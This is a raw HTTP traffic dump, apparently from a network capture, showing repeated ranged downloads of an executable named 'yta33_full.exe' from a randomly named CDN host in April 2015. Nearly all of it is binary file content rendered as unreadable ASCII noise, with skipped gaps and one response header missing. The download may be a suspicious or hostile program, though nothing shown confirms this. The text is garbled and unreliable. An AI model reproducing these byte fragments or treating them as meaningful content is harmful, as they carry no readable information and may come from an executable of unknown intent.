...:;60a.@.$..J1H.}.......!W..`..p..h.^t.....D..\...1.O.An.....4......
.K...\I#...\....;5.Tj.M).to,[email protected]..#.C>c..0 .q..4......
...Y.<...K...D.:?.......b..?...{^.a8........H...N&.$G8.........%Bg.
.F....K*Q.c8%`..l..4..I..$.].B.@U4..*..wn.Z..4..|.o.f.VB..*....3*7<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=1250000-1499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:24 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1250000-1499999/7590800
.#E.,.F...:-....B...M6.....f.C....V [email protected]. ......X...I.:E.'i.
%..2.c...$...0`......B.m ..OR...y....... ...@3...%y.<S,..m3......j.
.yg..Y..n}%...C..F....Fc.7b.oQ.K.......!......Dt.....J.Hf......@...?-.
_.........F..Y.k...P...2K......J..*.c..f..........=U.....aR....DV.C...
..v5.CI.o........On.../.!U.GSz.~S..Mf........{[email protected]&
lt;....&....K..2..:....C"..-..N....O2...iQ$......xvK..=.#.'7..<4.(X
.`.,RF..n...V^..9...KT......,.M.9.'I7sY.7.}V......%.......^...ltZ{y...
*..3......`Y.........T7..q........7.ad..0.^..`...nQ..I.SJ......x....q.
,S.v..N..e=.G...X.w...%>..g......o^b......c......R...$!.U?4.:x.8...
._.R-..f...0D.j...0.q(..x).#.]...dj`jB-40K..<#.......'..V&tN."..>
;[email protected][email protected]".p.g...
[email protected].^....*.T3"QJ.....&..F...... o...3x...
...!....>..\.!...f0.-.......l#[email protected]..."..../.=n|.;F~G
(s...[....P...E|..vUl. .tK.!Ki...w.7.....Av .bg.#.`K.v.J|.!S..]...?...
.....h.....h..t*...r...w.....t%.W........\C..n..{Jm.............F.....
..n..V..b...b..s.,.....3..?v.Q.H..=U.V.....%....6^B...d.F..O3.n.m.:.k.
.{^...T..4..........$.........b.{.):..w.a.}...$...ctW.o...6`).!.Za...H
.....Z.....'m?..w.<..]..$...M..`W%9t0.....>.;>.n....7..Z.....
#.._...G.\..j.....5.T..{..9..Bq..l6......Dn.%.s..:..I.9..C..|X..}/I.. 
.OJ.C..y]....$h.8.W2..CvM.d>...[..3)...'..3O..3>...t...>...L.
. )...V.....'.Hi..U.nM;R$.3*....2|b.|....v].9...-..I .m... .........h.
....GC.$sNq..e68.J.B...r..0<....3.........^.&...k.....HDt......<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=1750000-1999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:25 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 1750000-1999999/7590800
es5c......9..q...ce!....].\4....BZH.?....:..R....%2y.W`.....g....J.?7.
,1.S...P...c.C.RmXZA.........Fqs....m...Z .-,.m.......'.G...8(.~.:.Y1.
..BH.e.;RPA..0.y$<7.=....v.._..y....{.5.z.....^..{'D.N.......Hw...2
.%6.dp.:)d....{XC.u.....#as...}..).H.@OSi.;....<.8"....8j.....oF...
5-^. ....P.....x*Q}...&..[...U.U..P.,r.bC.}..Lk...*....l>..g..2....
...-..?..8.Q._.6.....V=a.s_..|..{.P3g9.F.:.....#-2h......A....p...=}/.
..............m....-Q....W.fRF......4.5....ft..h.......cZ.X.....y.[.Q.
....../.$v.*..w....x..#.Z.<f.-.5...D{.....!.I... ....D.T".Z...D...i
z..w..~..../..\..;}.._........D..f....Y......%._......H...)..o.u~.CW..
......(...zv..........9..<_.k...9.....U.....'Y;............`.l...{.
y...;...;.....Y....Z..T.J..;K.A....w.......&..{...P..`Sg..[ .....`~9! 
....$^.......G...^.....{..c...A......xS4.....<.R.3.S.:..]...g..R...
...(......*[...Z. .<I.6......d._5z.d...y.......P...6..L@/.[.N.M`<
;...... ....?...........^F.j..X,{0........... .}...<. 9O_..........
 .-5.Q...%.C..y.v,....3.m......I0f.....y.J.jb.b..'...~6...-..I..y(L.C.
7...oY{Sx.m.8^....6.[....T..X5..l.....a....Y............|.z.jws.......
I.f...^..BX.|..."3......6..qvl.q..G....?...m();[email protected]..`......3...
....2.-...8..>.y.C.............'.......<..m...\...3n..\.%.....K[
...A...h.=..m.PR.v.62;.......r[G.WXo.........(....I........&KGE.&..^..
...j.......M.T.=1....%.....^.......B..if.>.....&`.[....&.Y......G.\
...T[5'MsB.]\...;N......\....&.eN..4C.....Sy.."........}H]R$x.d..;."..
d.t3}..^e.e.wS...G.pNfo..C.b.f...M4]........|eN.....y.H..jX~./E..t<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=2250000-2499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:25 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 2250000-2499999/7590800
..".R.....[`...P ..c_H ../.......BA....>.....9.x...[.[D...........N
..V..y....zp`...^{.e..h6p@._.2..........Ce...{....=..{..............#.
...f.!I....J....(..~.W3L......)X..3.3.''.3=.[..^Z...B.|].e{5..k..V....
....f.......&Uc...f.lR\i..j...j.......$uYF..... ?...Yc...,.2O.b5.P....
A.'r.!..2.," ..". .d^...:`&~48..N ..s.....!||@@..!..7G...O8.L.S.F...).
`C.m4b.....t.%..S*..>;'."|...Bq.....v...*@t.E..H.<........h..GK8
/...JB.....(...%..G......h.8..|...L...x.H..JtQ..@:....."$.R......p.G.I
0....D/(.JF..J..)...]\t.H...CC..'......j.......!.B:B.L...Hy...BcP..O..
..R.*...A*U.S..0.B.rhdC..B..n...._...v..A.........P0J$D...f..p..D.(...
..8..."r.J.%.|...j......".-..-.......n.&.$Z....R......>h.=7.DJ.".s.
H%#_.h....>... .W.N..oG=.B8.......9.L.f.....Y.s-..!....<..d\..S.
^..........A..."..!.Ay.g.I..>..0"..j...B4...G.7....bG~ .B...,0Z~.B/
........C.A.....$<m......{.{;...r.O..G.L.93.%q.c. ..........&t8.P..
f....U...DL......i&.%...,Y..Q....'.DO....H3......Xp;...m6.o.5.(.M.SR.X
...HkFRG...h:..B....9..F...M=.Ea.mr*.&5.P.3.......~.K..c...C..U..s'..9
..F_....P....nq.P.............(..A.........OD...G.2.?I....K...\.....3^
.l.c*-`J.D...C..$6.7.....*z...QQ..D...".r...$;B...T3rN.........0 Elf_K
...In~9.;......qT.T5!... )N.E.T$.>.a.).D%E.......}.G.Z...Y.........
...H.l.....X.e.*..v..D...S...`....z..&.K........o$p..E=..(.......I[*..
.o."...'!CH0......."$>>......d.G.....3....@(..^Q.....j.rR..AA..i
.Q...,.B...j.......a.j. l...a......d.h% * .....J<..b......"O....I."
\' ..;..8....`[email protected]'.DH..q.C(E.E.R.4UO..q^..Z<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=2750000-2999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:25 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 2750000-2999999/7590800
............N=/D]yB...H....5.S.x.so.X..5p...U.b.V.l..).{....{.T....BG^
..H=..e...../[email protected].[`93...i'..Y..!......i.S._2..
.d..... ..P & .mTJ.../g..3.9..or ..w.}.X9.w_09x.!.....T.h..$..{.8x.U..
wS~.j.....?..e....}..<.l...|.uy.O,.E.r...<.....A.!x....J.....S..
s|..CJ..$..........r...<r..Pr..."8e..yQ..SRzBXN.?.!...Q/....[.S.;n8
9dn......ka..>'...w]@r0....pV>D..w[....?-..9.TOIy_J.4.u.......6.
.j7....`...}.f.u....]..jnZv-..|z.?f...............*[email protected].
....'..., ............9..V...,;...v.]...o...OZ..V..[e..U.[..H1...nr]..
=.."....k?1....W...}..u.......5.b..v...2.....G....;.Z...gLopJ..h@.....
..._8.... \;.....y2.../.. .k./....x..R.......G...B.......62.......h.a.
.6Z.......:.C ...g.....(.....qL=l.......[|.,.....x8.o.8.-.n..P..%...Jt
....u.........C.........yy.0.........e6.}5*.g.1.. .>.....k][...?...
~Za.*.......j..LQ2r.`/...<.Nt...$...A{.K;..p.<.....*6..... .`.t.
Gw.....K>.4....d.Vn<.._.V......H}....B..],(..v.=.J....6.0.......
.T.g.xd?]g....P.5.....9..!.E2....{...>.h........=.:?R|....s.......F
..............}........bi2.r.!.....k...<D..Gz.E``#./A.D...M(3.>.
....L..6.4.f..:.#;-...W.1n6v.g.2. [email protected]=8......k.8,...3,....6.y...L
.......-.3......x.C.o...#H6....|.7t%[...hr..l..<zM.g.........Y..-r.
.zM.w;.>.].~...<[email protected][email protected].....{....."........
....../]?....7t1d.g.3..).`.<.~..f.r.j...)....p..B.u_...i..W........
..R<}}8.G... ...}.3..n.(].}..i....Tl.:..BW....._...P.._T,.^...XC.F.
asn....9..8.,&}..F..G.......<...:.Y......$.G..i.L..e...q.c.S...<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=3250000-3499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:25 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3250000-3499999/7590800
.....].g...mw.!.&..[.X...t6#O..<.Y...,[email protected].."k...zk......
.Tg.u...o..>......y*.......;[email protected]...:".K;}l....v).kW
S...CI..j.s...I...0....n"...|..9.....UDI..:..P.W.:[.... .1&./.....4`(.
Y...=.bZ8........i....-...ZT...c..).....n.m..4.0.....Wq.Zw............
u.h...I...1~S.....'...0x%......'......-I...R...r..Tg.O..{9H.<,..:[.
[email protected].&.e...:;..g/@.....".x.....5..C....Q...;rQ.r.
P....>..\.`.y...{..I{...x.Z...TI....>p.g.:\..f.|_#5.w]y..w7.;...
Zhp'.]..5..zG.I...."..[.....,.^2.C.G.i..........O.Y.{...p...^toLT..g..
(p..S.....pt.v.k.m..<m.......|T...[... _.<Pm.....SNH qj..3.....N
.W....tp.4..v..a..s..>......T9.J..9.[..............\.i.2.QvG..{....
<Z...4..l.".y.[.H......Rq...0.u.O.O.17_.......Z'...K.{.....s[5...b.
..v.t.....F/.nXb...YqQG.x..X...jf.wGWem....{.h...^....C.]H.`.1h...W...
.rs...H.NJG....* ......1L...u.A.....u..:^^.^:..wY...Jj.u..y..v....1.]*
.^...-?...9._M-.:.tg....;....V... r_:...j..g.....&........5..#dq.iq...
;.......=."......W.&r.'-.........k.?..{.J..."..L...wB..R..,.........I]
..:..........9.\.j..=Z..2.<...Kv...d9:....&.f..lO.S>....}?.7|...
E...4Y.........=...}[email protected],.....O|[email protected]....
....(.^.3.E.m..?.vf....U..Z......H.a...=Ou.&T.......g..B.^x.'4'..sf...
U.....P....:......LC...$.....$..l./..C...f.9..s.`......3.A........~.&g
t;.;=-..X5Z....A*.Nw.>[email protected].`[.x.8..vZ..-R.....
.9..X..Tx..2.G,.s...-l..X,*.w.=4a.......n......J.T...Q.F....(....(F..l
..*):..1.3...l..........[.. .{f...X.!..D.g.'...`..E..j.s....... ..<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=3750000-3999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:26 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 3750000-3999999/7590800
{M......v..].!..=F..)OS.b....MRKR.U.W.V.\5..y..5..F....-.[.cS....Z..oi
..]0...8...a7.:'Q..Nb..I.&..o...~h.......l]>...&.8Bk.!'b..dGN....,.
...S...6!s.r.J.J,U.W..TZ...Y...KwVe-...~K_....S..`...53...J.H.<..0I
.a.C......}d...].<....K.dU.....[........<:=.2...eI.R...J....{r..
v..l...z...].&....x..\.V.i.Q_'..].&b. ..;.p...2!.....>:.,..)..._...
n>..Dm.....sgFV..9Rk.A.$.U.[;{b.T.\Ju{.~.s.y....fe.J!..cQG...K$.!..
....ze.d/._h.[..4.t9h/.hZ...U.d.....Er.n.m.m...U. .{..d8...V......j...
.7.-.D...].o^g|......z.s.A.Z#...j0m...1...r.v.....gV.....i..D..9...BI.
1....(.a.....(.K~0s..S...d...................&,....Fh.a...r..X...6...%
Q,..T[).R.JY.....jr.jg..ye.eq.7..j.c.^$MG...ZP...xO(/..}I...O......S..
...4YT."[email protected]....=.l..EL....2<E..?..T.s.[..
.?.KT#.%.......~....i.4...i.VA[..4H..R..% .......L3<..>.!......0
.........,..8.B....l.r..,#5.....;....sP.A.9%<%.KHK.H.C...v%.K)../:-
.\.u..=g..vje.....V_[.....Mw...U^W..uY%y....idT....N'.N\..p.a5..T.-...
v1.....<.._3.RfI1..V..vs.....h.MS..}..g.......<.......;...*.....
...%$...........?..2~...........@%..X....Yli.-..n.........I1u...2.6Y})
.R:..4C..Q..u..".c6...Q(..P!..n..C..\{...].]Jp.....\.V......K.:Cw..J..
.....e. .K..W.p..n.l.T.....'...]b"c].qh.....*9lF.,!R.y#.%.G../xuB...i.
*^:.7.......EB.~.d..]...yv...Xyr......0^......I ...9.f.&..(}....O...m.
....^.........q.Evp.u=...F.8..l ..yc.fb..m..,).....q....68...6T..o....
I.)-U..F..?..9..;..J.N..P..`..v.X.._..).^.y YWb...h....&....n.X.c.....
Ij%..%....M$.1......k......;m\.....v......y.r.n....{.u._RU.....pI.<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=4250000-4499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:26 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 4250000-4499999/7590800
....].....M.MNv....l......M..w... ........N._..'........y]D~.xE~../..5
..e!..B.$&...@&rN.....m.....6...;..."f...\..d......V(....]..[..\....G&
.3!b3!b....x._&.=... .....Q..$...B.6..r....l..*..M........ .|(..b ....
.R.b....l.y.b...].....j.-W10.-7.-..1....b.l....F3..G..Q...w..RZ..(....
?.m|I..~.zs..).`.t.zs...`..~O!..N'>..R.h..L]:Z..[j>Z.....<..&
lt;.9.....3...Qe.QeAF56.RAKK}8.|.3..F...&. ..F.R @l.^...."6.%..."..(j.
e.(Eh..&..P...Q..R..=].:..2..2.1.mi...F..........c.....A;..g.....J....
...".C.....l......H>z)=E.3....s..H..].n....i..dP<..Oa.30....0...
.. .'..d.....F..1O.........1..`.e..8..g0..GdEL.A....D.&.. ..&..fm..6r,
.q...i..F.H..(zz...O....T..P..P........Dm.2[.F.Pgpml.M..v.y......HgT.Y
j#.R....6... <[email protected]...._k.....`.)D~.....N.,d,......^.....&
....0..... .&..J.|....N....... ~c......`....5...6.Ed.......0F...Ai...g
....`........O.8.<.B..D..`T'...J1..W.....XB#...I,......qMl....OL...
vM.C.....SB."...@..(..3e>"G.2m...%......-..Z..;.....kNQ\.....|;..I.
.c.g..c.....l....#&. ../...H".. ..{2..F.n...3e.A.B........^EQ.g.....4~
E..4.MC..........i.,.!...qL-......u;_..V..L.=..:Q..E...N.IB..[JH=$d..E
Q.$....F.`.5......@ [email protected],.;....?..W.r6......q.n.eT.;
...%...#fl.z..~.Sp..!XY..P..?R.V.....'...:Y}..I\.S*A..4K.....V.X9.Y!&l
t;[email protected]...".~.....i\.....~..J. P..\.%_P......K."..".
...x..[..D&6G...5i1bA..u..I...g.......g."6:Qv'.........=..=s.5.......g
.vP{d.\t..*j'.13.\K..g............_.l..}d..M..-.J&..B...T.6....6...(..
...>[email protected].#..I..]h.]h....L.....NU....|....0..ug...|<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=4750000-4999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:26 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 4750000-4999999/7590800
 .0S...n.HC..(k..m]V.........V..R..;_lEM?Q$7..;..e0.>i.D....F_Z....
..!&-..e....D.%^*.._.X.....Z.E.F]....fY..ZK..mf....v.G..?.9q.....0_.n.
K.U.fxS......i^.6A.;.3......f.....D..[k...\....]..mO.Y`P..6...b.l9(..7
E..3.....n5...).b.....D..z..4s....?....P.a.......b/...:.7.%P....".Vu..
7..'.e.....x..%$.*......f.j..q...QX..%."N%..n.3d....*DO.7El."...|...].
.T.....a................yzdg.4..s:.Pg...a.~%\o.$@;.a.D...|d.{.....|lp.
#....{L?.^b.04wg..n.B.G|.,.."..>.1*.#.. qU...>...'..K..Q.,..Y..8
..r>...O....a.......Jb....KN.P..a.=s../.$4...B...G.6I../U$P0.....;[
.P.>j.[..Ebt..!..R..!i..v..J.........e..........-.........o..z..|.a
F$...nP.C..J8...W.H..._...L'.%DL("..%..w..l....g"..Qv.5...g._..iH`.)..
.[u9..[[email protected]."........N.Iln_...s......c H\)...........Z.q........{...
/T.....kY.o&K....vw.Vg.Oq]...0.0...X#kidH.PI...1.. 9..T.3W.y}..=.....,
g..R..N..'~....w...H...P..bCUT.7.=.\S..4..U(.....^..;A.b]....e~..Si..H
.:.C.....0..?......Q......D.B.H..-N..w..[...v...S...U2".....).....`r.w
...7Z.p.....<UV...$...m..6.-.c[O....U.M..$./.,.........1k.9._h....v
.c.(.....s..._bt1(o. ..HUn.D.....v.....J...h6..t.9R.;/.= [email protected]@
..(.#r.[......mj....f.={uj.........2r...rV.2..0....P(....P..E....r.#S?
.....U...'TK..(......O.c\...W...r..C%..:-...,..wX.p..1n.-z2..A.h.:8$.$
v........\.....M...m.4?v..[.|..J.4nq..&..1......Tp...p..5.\...6:...E#.
2..O....A.h.S9Ed..g..kn..h7*0`...O......PMr.z...QYNA.......%...|...Z .
.-.(z..a..F..h.Z.mBeF1 fmn/...wb1E....}*[email protected]^'zc.%M.&K.E....n.M.w.d..
(..r#....d1.....(E).{..R...u`y.)h.z.&v,..s>.B.z......;..b.4:TL.<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=5250000-5499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:26 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 5250000-5499999/7590800
;b.AF..#......`6#.d...#....K.t.[..s...._U..j1s6.........B...oW.......i
..2..k.~..w98m.$.:{.._.J........h.S..0HoA.(s...e.zY...d._J...u........
o&...>...A..b.......A\..bK...:...........G.....-p..%c^.I..S..b..S[&
gt;-.........k........}@.{....8......8.2WA...SW..%.S .bG...o.\....<
.5o...<P.....}..pR...6r".G.E..E)E...lL._....~...`O.r...j.m./4.....a
Q......H.27..0..RE..%.......f."`y....Q.<...~f.P....D...6...n...k.M.
=.gx...bQ...O$..a..@r\..;.;[email protected]'hE...x...?T6.w.K.q..-n V>.L.
8C......l...F...Y..{\.;%Z;.Z/.....W?.7..........)*.....l.L:.N..H.....j
^....D.....;.G(.....-......F...cJF:......m '....Q.:}M9...f.l...}....".
.e).M...,.....b...J.....FB...9..HT.#.'.w...R]f.p.......e....u.K...3l.@
...d.'.4.v...E...S..Y...*..........d/...o..7........mc......xr.......[
.k...S.$.;R.W..t9.$...)~...Zf.....O$...C.u.A.7...:.....:./c.9........:
Ie.{j.L.R......Q."4q.mnDQ.f..M7........m_.keE.}../...v.....n .g..2..Pp
..._..|.2..i............v.U..{..J....4..8N.e...]#.$..M..../.t.....4.].
|f....ybsx......)........>)d..`..8..JcAlxE.....j.0Y....."W.JL...~..
.5@...?o.Q&e.<M.......W....../h.n.....e...........Q.ny_6.w....K...]
...Y.'..Hr.{..K..l]...4.......x.M...........5.L.7Y...4..!-.~lI.jR....^
QX..n6nlJ.4...=./.W.w:.v..5....K...Je5 ..'..7 ).Z.W.Ya.......}G..q.'.`
.j@<.....J...Vd...x....Y.[.jw....:....Z.....;tOSp].G..zGn....H...nb
....Mj8.u:Q.ys.'.Qu..V........{k...(.J.D...0%....j.........#^K........
.F!.L.Bh.........w.dkD:..5..;.@....*..F.Qc.0..^<Ft.W..F;......P..C.
.bK7']8[2.l*..1..M...k.....Q..uB\N.uG?x..H.....n..m.N.........8.H.<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=5750000-5999999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive



a...t?.)4.5kp.............v.V......~..G.u.}......*.1.P.yX...[N$.J....%
.."=.S.....HS..f-h.a=.....6.R..........cj.'`LX!#.s:..(...&...\...dT n_
7...|..."..?.w..v...n..D.(.^mv.........{ZA......!IY.Ym3..............!
..N..t.....{...V<.W...t.i..L...SNEI7..wW.q.|h.Y.Q..... P.i...nU....
W....~...<....7.13:..;.X.a........$]....m......:.............@>.
l>......(x~X..N.w.JTGf.mp...k..%..f.M....N...Az...9.....v.4.......w
sN..E.VL.........v[:4..$.a..,.>>.q....M3S(.......YO...x....j(0.-
.}TA.c..@SM.?..K$.....O....Ge.=....[..|......!.....h*...=...A{l1.)vH;!
..K..Q.7>O....H2......r........."w.M.8>j.Ve.......- 9..........e
....V...p......W2..)..n..u.i#..^...t....q..Ne9F...0....f#..B.,./U6..l.
.0../....!.i.(1.2vO .=.u.:d.&PCt.{.z.9NH.X".u...N@...@...'&5c...|....h
.h..?...........`....g.i.].....c.7.......mRN.8...>7>M..[...]..*.
....^M..v..X../..{[email protected]. y..5..!.F...(s."[email protected]...
..H]).H.n.."'.......'.W.t...z.eC...2./.,d.a.[a5.a...OB.G.5zpJsq..j.)..
......0...n;.(.))..jn............]...i;...@..'.Y...!.F...KO.m|wa..%.g8
9.....jE.'..&t.........C...6..'..n(.R.V.!0!dAh..S.(Be.odzu.........Ni.
Rwj=Z.t(.)\.h.e..2....<..>.{."....DS;AF..~'...D.(.Iv&...$.ujn...
(.;..*..W ..HM#$Xo....u.....GI....s\........= [VE...G.....T*..w...;.y.
..:.Fhqo.9..@....;.%...S...^.f::k.D.Z.. .}e.%Ngw.....hX=.J.M..........
{e.<...5...m.....3^.8....s#.3$_.)j.K.].......J...]..?s/..".~.0..0..
@..N..D\%.e/..o......A~..k8..f.c:..O|.]..R....~X......2........=j.....
...4..L.-.....".i....q7.<2...T.%..tz.,$...w.bS.....;..xr.;..q..<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=6250000-6499999

User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1)

Host: 8vcyzxssv-457zol7j.netdna-ssl.com

Connection: Keep-Alive


HTTP/1.1 206 Partial Content

Date: Sat, 18 Apr 2015 07:35:27 GMT

Content-Type: application/octet-stream

Content-Length: 250000

Connection: keep-alive

x-amz-id-2: TIikErpOebFHAUVtOR0cw I7iuVIMr4jlL8S/rKTKlivFoOq8jH9kFHatqxYsHrlM6LSKR0kajY=

x-amz-request-id: 623FE3858EEABC7C

Last-Modified: Wed, 10 Dec 2014 11:34:48 GMT

ETag: "f8076da03b6b36fa1ec0bd5a082d8d95"

Server: NetDNA-cache/2.2

X-Cache: HIT

Content-Range: bytes 6250000-6499999/7590800
=c.#.....6..0........!Fu..~..:.........<9...........~.....i.3.K.MdH
...F.0.I.[.F.....Pt....3=W*..l..-.....|.C................q..!y.@...;.0
.u..R...u.......e..'.H.......C.'..l...s6 .X6"..X....b...%.7....Cb...Q.
."l a..V...LP8.'#.....#...;.(Z#....r.[....W|....QR.R...Ly:..#.;...j.w.
>.....7.[*.....7..v...7g...".1X....[..2... dh..K.......(...Y.......
bs._Qr...B...bA.6..@.~.u\.....%..4..9o.9...).D...\z=Zj".....Eay.}&%z. 
z..}.*.L.4..l\r.:.....5n.e*..V.J... D...j.~.zQ.......5B|.`.O..Xl....rA
.... l.`5dPj8 ....3.x...o\....'Y\oy..A......H..../..bt..u:J.3Q.F..I.jl
.....P...C..[...V.k......x....c.i..Hmu.. ...nL....g.Z$!...X.j.Z.*.1.J.
.xzQy{$...WS....{S..f:...4..\.....e.l........".i.s.&...;...]...%zL..J.
cI.y......G......B.`-.....d..j.&/..*......K...s...8..E.`....~.F.*.Es..
TO4..1.....L|B....h7....P.d..p.....N.0........N......i,&..;......M....
...sf.......1....jc..K...`I<......2..'....m...F.s....c..e10.!3jOu..
E....l.&.....#...g..@...[/...i...{....Y/...b.G..8...C.3..2%...;..d....
..zq..|.N....!..]..u...fu.6.....a....)i... ..I..L}.jMA...Y...).>.ZH
..<...S.[.....). .y..l...^...1?.YR........",..d?...C...".....?..k.W
..n5....$....~.@Y.~?...|..ZC.b...2.<.q._g.)..ZN.>......_.2#..r.q
...N...U]#\.}.b.L..Q.......y...._...e._H.......O.s.'...[|....I......S.
.\..Fp]..... ..Y..?...q.r,.#..sC...hU...Q.....6.8.TE.7....h?.Z....Z6.e
...U..vgK:....Q..[[email protected].{uD..}..Z......@.._.O..D,.....o....aZ.P...6
x2.9..... .....W...k...\.N..W.J5.&,..D%......M)......J.sm....o..`..#;.
...-1G......'./..Y1Q1.q:[email protected]...?M..P5.0.i...:X%...v..).9."....<<< skipped >>>

GET /yta33_full.exe HTTP/1.1

Range: bytes=6750000-6999999

